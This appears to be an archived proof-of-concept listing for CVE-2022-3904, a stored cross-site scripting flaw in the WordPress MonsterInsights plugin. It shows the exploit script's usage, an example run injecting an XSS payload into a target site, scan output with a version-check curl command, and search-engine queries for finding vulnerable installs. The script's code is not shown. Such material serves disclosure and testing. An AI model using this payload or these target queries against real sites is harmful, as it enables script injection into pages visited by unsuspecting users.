Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-3904 PoC — WordPress plugin MonsterInsights 跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress plugin MonsterInsights 跨站脚本漏洞 (CVE-2022-3904)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin MonsterInsights 8.9.1之前版本存在跨站脚本漏洞,该漏洞源于该插件不会对顶部页面部分的帖子进行清理和转义,攻击者利用该漏洞可以将任意Web脚本注入标题。
Description
CVE-2022-3904 MonsterInsights < 8.9.1 - Stored Cross-Site Scripting via Google Analytics
Readme
# CVE-2022-3904
CVE-2022-3904 MonsterInsights &lt; 8.9.1 - Stored Cross-Site Scripting via Google Analytics

Usage
---

```
usage: CVE-2022-3904.py [-h] -u URL -p PAYLOAD

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of wordpress site to exploit
  -p PAYLOAD, --payload PAYLOAD
                        Payload to Execute ensure it's an xss
```

Example
---

```
python3 CVE-2022-3904.py -u http://wordpress.lan -p "<img src=x onerror=alert(document.domain)>"
```



### MonsterInsights <= 8.9.0 - Unauthenticated Stored Cross-Site Scripting via Google Analytics (CVE-2022-3904:version) found on https://wordpress.lan/

----
**Details**: **CVE-2022-3904:version** matched at http://wordpress.lan/

**Protocol**: HTTP

**Full URL**: http://wordpress.lan/wp-content/plugins/google-analytics-for-wordpress/readme.txt

**Timestamp**: Tue Jul 11 10:51:09 +0000 UTC 2023

**Template Information**

| Key | Value |
| --- | --- |
| Name | MonsterInsights <= 8.9.0 - Unauthenticated Stored Cross-Site Scripting via Google Analytics |
| Authors | random-robbie |
| Tags | cve, wordpress, wp-plugin, google-analytics-for-wordpress, medium |
| Severity | medium |
| Description | The MonsterInsights plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles and pages in versions up to, and including, 8.9.0 due to insufficient input sanitization and output escaping on those values. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page if they are able to successfully spoof a request to Google Analytics. |
| CVSS-Metrics | [CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| CVE-ID | [CVE-2022-3904](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2022-3904) |
| CVSS-Score | 5.40 |
| fofa-query | wp-content/plugins/google-analytics-for-wordpress/ |
| google-query | inurl:"/wp-content/plugins/google-analytics-for-wordpress/" |
| shodan-query | vuln:CVE-2022-3904 |


References: 
- https://wpscan.com/vulnerability/244d9ef1-335c-4f65-94ad-27c0c633f6ad
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2797398%40google-analytics-for-wordpress&new=2797398%40google-analytics-for-wordpress&sfp_email=&sfph_mail=

**CURL command**
```sh
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'http://wordpress.lan/wp-content/plugins/google-analytics-for-wordpress/readme.txt'
```
File Snapshot

[4.0K] /data/pocs/625837c04030c5a2a145058fedcdfa7a4d24594f ├── [5.3K] CVE-2022-3904.py ├── [ 11K] LICENSE ├── [2.6K] README.md └── [ 18] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.